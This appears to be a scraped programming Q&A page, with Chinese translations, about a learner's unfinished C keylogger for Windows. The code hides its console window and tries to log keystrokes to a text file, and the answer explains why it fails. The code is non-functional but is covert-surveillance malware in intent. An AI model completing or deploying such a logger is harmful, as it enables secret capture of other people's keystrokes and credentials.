After learning the basics in C, I have moved on to study some of the Win API functions. For educational purposes, I decided to try and make a simple keylogger. All it does is record keystrokes and save them to a .txt file. I have seen some examples on the internet, but I want to make it my way (which is simpler). Here's my code (I don't know why it's not working) (I haven't finished it yet):
在学习了C语言的基础知识之后,我开始学习Win API函数。出于教育目的,我决定试着做一个简单的键盘记录器。它所做的就是记录击键并将其保存到.txt文件中。我在网上看到过一些例子,但是我想用我自己的方式(更简单)。这是我的代码(我不知道为什么它不工作)(我还没完成):
#include <stdio.h>
#include <windows.h>
int main( void )
{
short UserInputtedCharacter;
FILE *LogFile = fopen("log.txt", "a");
//Hide console window
HWND HideWindow;
AllocConsole();
HideWindow = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(HideWindow, 0);
while(1)
{
GetAsyncKeyState(UserInputtedCharacter);
switch(UserInputtedCharacter)
{
case VK_SPACE:
fputc(' ', LogFile);
break;
case VK_RETURN:
fputc('\n', LogFile);
break;
case VK_BACK:
fputs("[BACKSPACE]", LogFile);
break;
case VK_DELETE:
fputs("[DEL]", LogFile);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]", LogFile);
break;
case 0x30:
fputc('0', LogFile);
break;
case 0x31:
fputc('1', LogFile);
break;
case 0x32:
fputc('2', LogFile);
break;
case 0x33:
fputc('3', LogFile);
break;
case 0x34:
fputc('4', LogFile);
break;
case 0x35:
fputc('5', LogFile);
break;
case 0x36:
fputc('6', LogFile);
break;
case 0x37:
fputc('7', LogFile);
break;
case 0x38:
fputc('8', LogFile);
break;
case 0x39:
fputc('9', LogFile);
break;
case 0x61:
fputc('a', LogFile);
break;
case 0x62:
fputc('b', LogFile);
break;
case 0x63:
fputc('c', LogFile);
break;
case 0x64:
fputc('d', LogFile);
break;
}
}
fclose(LogFile);
return 0;
}
The program isn't saving the keystrokes to the .txt file.
程序没有保存键击到.txt文件。
By the way, the program is far from finished, I was just wondering why it isn't working.
顺便说一下,这个程序还远没有完成,我只是想知道为什么它不能工作。
1 个解决方案
#1
3
There are many things that you have to fix.
有很多事情需要你去解决。
-
GetAsyncKeyState
does not modify the parameter is it given. You could remove the call altogether the way it is written. Your compiler probably complained aboutUserInputtedCharacter
being read before it was initialized. - GetAsyncKeyState不修改参数。您可以完全按照编写的方式删除调用。您的编译器可能会抱怨在初始化UserInputtedCharacter之前正在读取它。
- Windows programs are event based. You should write an event loop and look for WM_KEYDOWN and WM_KEYUP.
- Windows程序是基于事件的。您应该编写一个事件循环并查找WM_KEYDOWN和WM_KEYUP。
- You have a very tight loop that will consume all of the CPU of the core it is running on. If you don't want / need an event loop, look into
getc()
or similar. - 您有一个非常紧密的循环,它将消耗它正在运行的核心的所有CPU。如果您不想/需要一个事件循环,请查看getc()或类似的。
- Process are pretty isolated by default. Reading key strokes for every application is hard.
- 默认情况下,进程是非常孤立的。阅读每个应用程序的按键是很困难的。
Nothing you can't learn, of course. But think about starting with a simpler project. A self contained application that connect to the internet and retreives *'s home page should be challenging enough.
当然,没有什么是你学不到的。但是考虑从一个更简单的项目开始。一个自包含的应用程序连接到internet和retreives *的主页应该具有足够的挑战性。
#1
3
There are many things that you have to fix.
有很多事情需要你去解决。
-
GetAsyncKeyState
does not modify the parameter is it given. You could remove the call altogether the way it is written. Your compiler probably complained aboutUserInputtedCharacter
being read before it was initialized. - GetAsyncKeyState不修改参数。您可以完全按照编写的方式删除调用。您的编译器可能会抱怨在初始化UserInputtedCharacter之前正在读取它。
- Windows programs are event based. You should write an event loop and look for WM_KEYDOWN and WM_KEYUP.
- Windows程序是基于事件的。您应该编写一个事件循环并查找WM_KEYDOWN和WM_KEYUP。
- You have a very tight loop that will consume all of the CPU of the core it is running on. If you don't want / need an event loop, look into
getc()
or similar. - 您有一个非常紧密的循环,它将消耗它正在运行的核心的所有CPU。如果您不想/需要一个事件循环,请查看getc()或类似的。
- Process are pretty isolated by default. Reading key strokes for every application is hard.
- 默认情况下,进程是非常孤立的。阅读每个应用程序的按键是很困难的。
Nothing you can't learn, of course. But think about starting with a simpler project. A self contained application that connect to the internet and retreives *'s home page should be challenging enough.
当然,没有什么是你学不到的。但是考虑从一个更简单的项目开始。一个自包含的应用程序连接到internet和retreives *的主页应该具有足够的挑战性。